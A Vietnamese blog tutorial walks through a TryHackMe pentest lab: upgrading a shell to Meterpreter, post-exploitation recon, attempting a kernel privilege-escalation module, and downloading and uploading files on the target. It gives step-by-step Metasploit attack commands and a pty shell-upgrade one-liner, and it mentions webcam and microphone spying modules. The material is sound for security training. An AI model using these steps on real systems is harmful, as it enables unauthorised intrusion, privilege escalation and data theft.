Kali Linux Căn Bản – Bài 6: Thực hành tấn công webserver với Metasploit (Phần 2)

Xin chào,

Hôm nay, chúng ta sẽ tiếp tục chủ đề thực hành tấn công webserver với Metasploit. Đây cũng là bài cuối cùng của chuyên đề Metasploit của phòng CC: Pen Testing. Trong bài hôm nay, chúng ta sẽ học cách upgrade shell lên Meterpreter cũng như cách sử dụng các module của Metasploit cho post-exploitation.

Vào tuần sau, chúng ta sẽ học qua phần hashing và hash cracking, mời các bạn theo dõi nhé.


1 – Upgrade shell lên Meterpreter

Xin lưu ý, để thực hiện được phần này, bạn bắt buộc phải hoàn thành bước 5 (B5), như hình bên dưới, của phần Exploiting vulnerabilities ở bài hôm trước. Bạn nào chưa hoàn thành, xin xem lại bài cũ nhé.

H1.1

B1: Đầu tiên các bạn ấn tổ hợp phím như bên dưới để chạy ngầm shell session hiện tại

Ctrl + Z

Lúc này, Metasploit sẽ hỏi để xác nhận bạn có muốn chạy ngầm shell session hiện tại hay không? Bạn sẽ gõ “y”.

H1.2

Việc chạy ngầm shell session rất hữu ích khi pentest, vì nó cho phép bạn quay trở lại Metasploit để sử dụng các công cụ phục vụ cho mục đích tấn công sâu hơn vào hệ thống mục tiêu.

B2: Lúc này như bạn thấy ở hình H1.2, chúng ta đã quay trở lại shell điều khiển Metasploit như cũ. Để liệt kê tất cả những shell session mà chúng ta đang có, chúng ta sẽ dùng lệnh sau:

msf6 exploit(multi/http/nostromo_code_exec) > sessions
H1.3

B3-A: Lúc này, nếu vì một lí do gì đó, bạn muốn quay ngược trở lại shell session điều khiển hệ thống mục tiêu thì bạn dùng câu lệnh sau:

msf6 exploit(multi/http/nostromo_code_exec) > sessions -i <session-id>

Ví dụ:
msf6 exploit(multi/http/nostromo_code_exec) > sessions -i 1
H1.4

Như các bạn thấy, sau khi sử dụng câu lệnh trên, chúng ta đã có thể sử dụng lại shell session mà ta đã chạy ẩn ở B1.

(Bạn nào thực hành theo đến đây thì hãy thực hiện lại B1 trước khi qua bước tiếp theo nhé)

B3-B: Để có thể upgrade shell bình thường lên Meterpreter, chúng ta sẽ dùng câu lệnh sau:

msf6 exploit(multi/http/nostromo_code_exec) > sessions -u <session-id>

Ví dụ:
msf6 exploit(multi/http/nostromo_code_exec) > sessions -u 1
H1.5

Nếu upgrade shell thành công, chúng ta sẽ nhận được thông báo cho biết Meterpreter session nào đó đã được mở cho chúng ta. Trong trường hợp trong hình H1.5 đó là session 2.

B4: Các bạn có thể dùng lệnh sessions như ở B2 để kiểm tra lại các sessions hiện có cho chắc. Còn không thì chúng ta sẽ bật sessions 2 lên luôn bằng câu lệnh sau:

msf6 exploit(multi/http/nostromo_code_exec) > sessions -i 2
H1.6

Và chúng ta đã có được shell Meterpreter. Các bạn hãy dùng kiến thức ở phần trên để trả lời 3 câu hỏi cuối của task 8 nhé.

2 – Post-exploitation

Trong pentest, post-exploitation dùng để chỉ các hoạt động cần được tiến hành để thu thập các thông tin quan trọng như:

  • Tên hệ điều hành, versions, và Linux Kernel
  • Các phần mềm đang chạy cùng versions của chúng
  • Sudo rights, SUID, SGID
  • Cron jobs
  • V.V

Đây đều là những thông tin rất quan trọng giúp pentester hoặc có thể chiếm quyền quản trị hệ thống cấp cao nhất (quyền root hoặc administrator) hoặc lên các phương án tấn công tiếp theo.

Một điều vô cùng đáng tiếc đó là do hệ thống chúng ta đang tấn công chạy Linux, và Metasploit không có một module leo thang đặc quyền tự động nào trên Linux giống như “getsystem” trên Windows cả, nên chúng ta gần như phải thu thập các thông tin một cách thủ công. Tuy nhiên, với sự hỗ trợ của Meterpreter, công việc này sẽ có phần đơn giản hơn khá nhiều. Nhưng trước khi đi vào thực hành, hãy cùng điểm qua một số điều cần lưu ý về Meterpreter nhé.

2A – Một số điều cần biết về shell Meterpreter

Shell Meterpreter và shell điều khiển mục tiêu từ xa là 2 shells khác nhau. Shell Meterpreter cho phép bạn có thể truy cập vào các modules được trang bị cho Meterpreter, và bạn có thể sử dụng những modules này cho mục đích tấn công sâu hơn vào hệ thống.

Shell Meterpreter cũng có thể dùng để tương tác với hệ thống mục tiêu như shell điều khiển mục tiêu từ xa, tuy nhiên, ngoại trừ những câu lệnh đã được liệt kê trong hình H2A.2 bên dưới, số còn lại, để thực thi câu lệnh, bạn cần phải dùng chức năng execute của Meterpreter.

Khi dùng chức năng execute của Meterpreter, bạn cần phải dùng kèm 2 flags là -f và -i theo cú pháp sau:

meterpreter > execute -f <tên-câu-lệnh-cần-thực-thi> -i

Trong đó :

  • -f: Dùng để thực thi câu lệnh mà bạn muốn chạy
  • i: Tương tác với process sau khi nó được hình thành

Sau khi thực thi câu lệnh trên, bạn sẽ được chuyển tự động từ shell Meterpreter sang shell điều khiển bình thường (như trước lúc upgrade lên Meterpreter). (Mình sẽ giải thích rõ hơn bên dưới)

Để liệt kê các cây lệnh và modules hỗ trợ cho Meterpreter các bạn dùng lệnh sau (lưu ý là các lệnh và modules sẽ khác nhau tùy theo hệ điều hành nhé):

meterpreter > help
H2A.1

Chúng ta có thể thấy, Meterpreter cũng hỗ trợ một số câu lệnh Linux căn bản, trong đó có những lệnh chỉ dành riêng cho Meterpreter như download và upload.

H2A.2

Ngoài ra, chúng ta còn có một số modules phục vụ cho mục đích do thám như:

  • Chụp hình từ webcam trên máy nạn nhân
  • Ghi âm lén bằng cách sử dụng micro trên máy nạn nhân
  • v.v
H2A.3

Giả sử bạn muốn thực thi lệnh whoami trong Metapreter, vì lệnh whoami không nằm trong các câu lệnh hệ thống mà Meterpreter có thể dùng (H2.4), nên bắt buộc chúng ta phải sử dụng đến chức năng execute:

meterpreter > execute -f whoami 
H2A.4

Như các bạn thấy, nếu không có flag -i, execute sẽ thực thi câu lệnh “whoami” trên hệ thống mục tiêu bằng shell điều khiển bình thường, sau khi thực thi xong, sẽ báo lại cho chúng ta process ID của câu lệnh đã thực thi nhằm báo cho chúng ta biết câu lệnh đã được chạy thành công. Tuy nhiên, chúng ta không thấy được kết quả trả về của câu lệnh mà ta đã chạy.

Để giải quyết vấn đề này, chúng ta cần thêm flag -i:

meterpreter > execute -f whoami -i
H2A.5

Và khi chúng ta sử dụng flag -i, khi câu lệnh được thực thi, shell Meterpreter sẽ được tự động chuyển thành shell điều khiển bình thường như trong hình H2A.5.

Lưu ý: Việc chuyển đổi này chỉ là tạm thời nhằm mục đích cho bạn thấy kết quả của câu lệnh mà bạn muốn chạy mà thôi. Vì lẽ đó, khi bạn thực thi câu lệnh khác ví dụ như “ls” như trong hình H2A.5, Meterpreter sẽ báo lỗi và quay trở lại Meterpreter shell như cũ.

Một kỹ năng khác các bạn cần biết đó là để chuyển đổi qua lại từ Meterpreter shell thành shell hệ thống bình thường và ngược lại, chúng ta làm như sau:

Meterpreter -> shell hệ thống

meterpreter > shell

Shell hệ thống -> Meterpreter

exit
H2A.6

Khi sử dụng shell điều khiển bình thường, các bạn có thể upgrade shell như cách mà mình đã hướng dẫn ở B6 phần 3 của bài trước.

python -c 'import pty;pty.spawn("/bin/bash")'

2B – Thực hành post-exploitation

B1: Lấy thông tin hệ thống thông qua câu lệnh sau:

meterpreter > sysinfo
H2B.1

Từ kết quả trả về, chúng ta có những thông tin quan trọng sau:

  1. Hệ thống chạy Ubuntu 16.04 (x64)
  2. Linux kernel 4.4.0-142-generic

B2: Chúng ta sẽ chạy một module có tên là local_exploit_suggester để tìm xem hệ điều hành và Linux Kernel có bị dính lỗi gì hay không?

B2-1: Đầu tiên chúng ta cần cho sessions hiện tại chạy nền bằng tổ hợp phím

Ctrl + z

B2-2: Sau đó, chúng ta sẽ dùng câu lệnh sau để truy cập vào module local_exploit_suggesster

msf6 exploit(multi/http/nostromo_code_exec) > use post/multi/recon/local_exploit_suggester

B2-3: Tiếp đến chúng ta sẽ kiểm tra các options cần có của module này

msf6 post(multi/recon/local_exploit_suggester) > show options
H2B.2

Vậy là chúng ta chỉ cần gán giá trị cho option SESSION thôi. Chúng ta sẽ chọn shell session Meterpreter (session 2) để gán.

B2-4: Gán giá trị cho option SESSION

msf6 post(multi/recon/local_exploit_suggester) > set session 2
H2B.3

B2-5: Chạy module

msf6 post(multi/recon/local_exploit_suggester) > exploit
H2B.4

Và chúng ta tìm được 3 lỗi có thể sử dụng cho mục đích leo thang đặc quyền. Mình sẽ demo lỗi đầu tiên (exploit/linux/local/bpf_sign_extension_priv_esc), các bạn tự thực hiện 2 lỗi còn lại nhé. Quy trình gần như tương đương nhau thôi.

B2-5-1: Truy cập vào module exploit/linux/local/bpf_sign_extension_priv_esc

msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/bpf_sign_extension_priv_esc

B2-5-2: Kiểm tra option của module tấn công

msf6 exploit(linux/local/bpf_sign_extension_priv_esc) > show options
H2B.5

Ở đây, chúng ta cần gán giá trị cho option SESSION và thay đổi giá trị của options LHOST và LPORT, vì:

  • Địa chỉ IP được gán cho LHOST hiện đang là IP của máy mình chứ không phải IP được cấp bởi TryHackMe.
  • Port 4444 hiện đang được chúng ta sử dụng khi xâm nhập vào hệ thống mục tiêu, nên ta cần thay port khác.

B2-5-3: Gán giá trị cho các options cần thiết

msf6 exploit(linux/local/bpf_sign_extension_priv_esc) > set session 2
msf6 exploit(linux/local/bpf_sign_extension_priv_esc) > set LHOST 10.2.56.144
msf6 exploit(linux/local/bpf_sign_extension_priv_esc) > set LPORT 6666
H2B.6

B2-5-4: Tiến hành tấn công

Chúng ta sẽ tiến hành tấn công bằng lệnh sau:

msf6 exploit(linux/local/bpf_sign_extension_priv_esc) > exploit
H2B.7

Như các bạn thấy, mặc dù hệ thống có vẻ như là có thể bị xâm nhập, và đã nhận được thông báo Exploit completed, nhưng chúng ta không nhận được shell nào cả. Có khá nhiều nguyên nhân dẫn đến lỗi này nhưng phổ biến nhất là 2 nguyên nhân bên dưới:

  1. Hệ thống Metasploit đã chọn lỗi khai thác sai
  2. Hệ thống đã được vá (patched) nên không thể khai thác lỗi được

Mình đã thử cả 3 lỗi được tìm thấy bởi Metasploit và cả 3 đều báo lỗi như trên, nên mình nghĩ có thể hệ thống này không bị dính các lỗi trên hoặc đã được vá lỗi rồi.

Ngoài ra mình cũng đã thử kha khá các phương pháp phổ biến khác để thử leo thang đặc quyền như (priv escalation) như:

  • Check SUID
  • Check sudo rights
  • Cron-tab
  • Check environment variables and path
  • Kiểm tra các ứng dụng được cài vào hệ thống
  • v.v

Nhưng tất cả đều không có kết quả. Khi nhìn vào các câu hỏi của task 10 cũng không có yêu cầu leo thang đặc quyền, nên mình nghĩ có thể tác giả thiết kế nên phòng này chỉ cố tình tạo ra một lỗ hổng bảo mật cho phép xâm nhập vào hệ thống mà thôi, chứ không cho phép leo thang đặc quyền. Ngoài ra, mình cũng tìm được password cho account nostromo để có thể tấn công sâu hơn vào hệ thống. Thế nên mình xin phép dừng ở đây.

Tuy nhiên, nếu bạn nào tìm được cách tấn công leo thang đặc quyền và tấn công thành công thì xin chia sẻ với mình trong phần inbox nhé. Xin cám ơn.

2C – Thực hành download và upload file với Metasploit

Bình thường, nếu không sử dụng Meterpreter, việc upload file từ máy tấn công lên máy nạn nhân và download file từ máy nạn nhân về máy tấn công sẽ trải qua khá nhiều bước và đòi buộc bạn phải có một số kỹ năng nhất định ví dụ như xác định được public directories cho phép download file trên máy mục tiêu, cách truyền dữ liệu qua Netcat, hoặc sử dụng một HTTP server, v.v.

Trong bài tấn công web server Pickle Rick ở phần 4, chúng ta đã thực hàng upload file một lần; bạn nào quên thì nên xem lại nhé.

Với Meterpreter, mọi chuyện sẽ đơn giản hơn nhiều.

Ví dụ 1: Download file từ máy mục tiêu về máy tấn công

B1: Chúng ta sẽ truy cập vào HOME directory của user nyan

meterpreter > cd /home/nyan

B2: Liệt kê toàn bộ nội dung đang có trong directory này

meterpreter > ls -la
H2C.1

B3: Giả sử chúng ta muốn download file nostromo-1.9.6.tar.gz về máy tấn công, chúng ta sẽ làm như sau:

meterpreter > download nostromo-1.9.6.tar.gz
H2C.2

Khi chạy câu lệnh trên, chúng ta sẽ nhận được thông báo cho biết file đang được download và nơi lưu trữ các file đó trên máy tấn công.

B4: Kiểm tra lại trên máy Kali Linux tại địa chỉ file download được lưu

vincent@kali:~$ ls -l
H2C.3

Và chúng ta thấy file đã được tải về thành công.

Ví dụ 2: Thực hành upload file từ máy Kali lên máy mục tiêu

B1: Trên máy mục tiêu, chuyển đến directory /tmp nơi cấp toàn quyền cho tất cả mọi người dùng (vì chúng ra không có quyền write bên trong directory nyan). Bạn nào quên kiến thức về phân quyền trong Linux, xin xem lại bài sau.

H2C.4

Để chuyển đến directory /tmp, chúng ta dùng lệnh bên dưới:

meterpreter > cd /tmp

B2: Trên máy Kali Linux, chúng ta sẽ tạo một text file dùng để upload lên máy mục tiêu. Trong thực tế, file dùng để upload có thể là malware hoặc các công cụ phục vụ cho mục đích tấn công chuyên sâu.

vincent@kali:~$ echo "hello" > virus

Với câu lệnh trên, chúng ta đã tạo một file có tên là virus có chưa nội dung hello.

B3: Trên máy mục tiêu để upload file, chúng ta dùng câu lệnh sau

meterpreter > upload virus
H2C.5

Sau khi chạy câu lệnh trên, chúng ta kiểm tra lại bằng lệnh ls sẽ thấy file virus đã được upload thành công.

Nếu muốn, bạn cũng có thể kiểm tra nội dung chứa bên trong file virus bằng câu lệnh bên dưới.

H2C.6

Các bạn hãy sử dụng kiến thức hôm nay để hoàn thành các câu hỏi của task 9 nhé. Trong đó có câu “How do you find files on the target host(Similar function to the linux command “find”)”, đáp án của câu này là search. Vì tính năng này chỉ có trên Windows, nên bạn sẽ không thấy được tính năng này trong phần help của Meterpreter trên máy Linux.


Vậy là chúng ta đã kết thúc chuyên đề Metasploit của phòng CC:Pen Testing của TryHackMe. Mình biết đây là một nội dung rất lớn nên trong 4 bài ngắn ngũi không thể nào truyền tải hết được cái hay cái tốt của Metasploit.

Tuy nhiên, như mình đã trình bày từ bài đầu, các bạn hãy cứ an tâm vì anh Khoa NT đang sản xuất một series hơn 30 videos hướng dẫn sử dụng Metasploit cho mục đích pentest hợp pháp. Hiện series đang ở trong giai đoạn kiểm tra lại nội dung trước khi phát hành. Nên mong các bạn kiên nhẫn chờ đợi nhé, khi nào nội dung sẵn sàng, bên mình sẽ thông báo ngay.

Xin chân thành cám ơn,

Vincent Nguyễn

Advertisement

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s